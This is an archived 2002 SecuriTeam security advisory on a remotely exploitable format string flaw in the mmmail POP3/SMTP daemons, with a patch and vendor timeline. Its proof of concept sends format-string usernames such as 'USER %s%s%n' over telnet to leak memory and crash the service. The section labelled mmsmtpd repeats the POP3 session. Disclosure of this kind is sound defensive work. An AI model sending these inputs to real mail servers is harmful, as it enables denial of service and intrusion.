

[UNIX] mmmail POP3-SMTP Daemon Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0050.html>

From: support@securiteam.com

Date: 06/13/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 13 Jun 2002 07:45:34 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

mmmail POP3-SMTP Daemon Format String Vulnerability

SUMMARY

<<http://freshmeat.net/projects/mmmail/>> mmmail provides SMTP and POP3 daemons using MySQL, running as a non-root user. It also supports bandwidth shaping. Relaying is not supported, although it has been designed to handle many users on many virtual hosts. It is fast and secure, uses threads, and has been written entirely from scratch and does not rely on mbox or Maildir formats. mmmail includes 2 daemons, mmpop3d and mmsmtpd. Both are vulnerable to a remotely exploitable format string issue.

DETAILS

Vulnerable systems:

- * mmmail version 0.0.13 and prior

Immune systems:

- * mmmail version 0.0.14

There is a format string vulnerability in the 'mmsyslog()' function of the 'mmpop3d' and 'mmsmtpd' programs. This function acts like 'vsyslog()' if '__GLIBC__' is defined. It calls the 'syslog(3)' function with a format

Securiteam: [UNIX] mmail POP3–SMTP Daemon Format String Vulnerability

string that can be defined by a remote user. It is not necessary to authenticate to exploit this vulnerability.

Successful exploitation of this flaw can allow a remote user to obtain a local account on the target machine.

Proof of concept:

```
mmpop3d
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username
```

In the log file :

```
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc
```

```
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.
```

```
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused
```

```
mmsmtpd
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username
```

In the log file :

```
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc
```

```
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.
```

Securiteam: [UNIX] mmail POP3-SMTP Daemon Format String Vulnerability

```
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused
```

Solution:

The following patch corrects this issue :

```
iff -dru mmail-0.0.13/mmlib/mmlog.c mmail-0.0.13.fixed/mmlib/mmlog.c
- --- mmail-0.0.13/mmlib/mmlog.c Mon May 13 08:20:13 2002
+++ mmail-0.0.13.fixed/mmlib/mmlog.c Tue Jun 4 12:37:19 2002
@@ -70,7 +70,7 @@
  va_start(lst, fmt);
  vsnprintf(buf, 1023, fmt, lst);
  va_end(lst);
- - syslog(LOG_NOTICE, buf);
+ syslog(LOG_NOTICE, "%s", buf);
  }
}
```

A new version including this patch is available at the following URL:

<<http://mmondor.gobot.ca/software/linux/mmail-0.0.14.tar.gz>>

<http://mmondor.gobot.ca/software/linux/mmail-0.0.14.tar.gz>

Vendor status:

04-06-2002 : This bulletin was sent to Matthew Mondor.

05-06-2002 : Matthew was very reactive and confirmed the vulnerability. He released a new version.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:benoit.rousseau@intexxia.com>>

Benoît Roussel.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Oracle TNS Listener Buffer Overflow"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)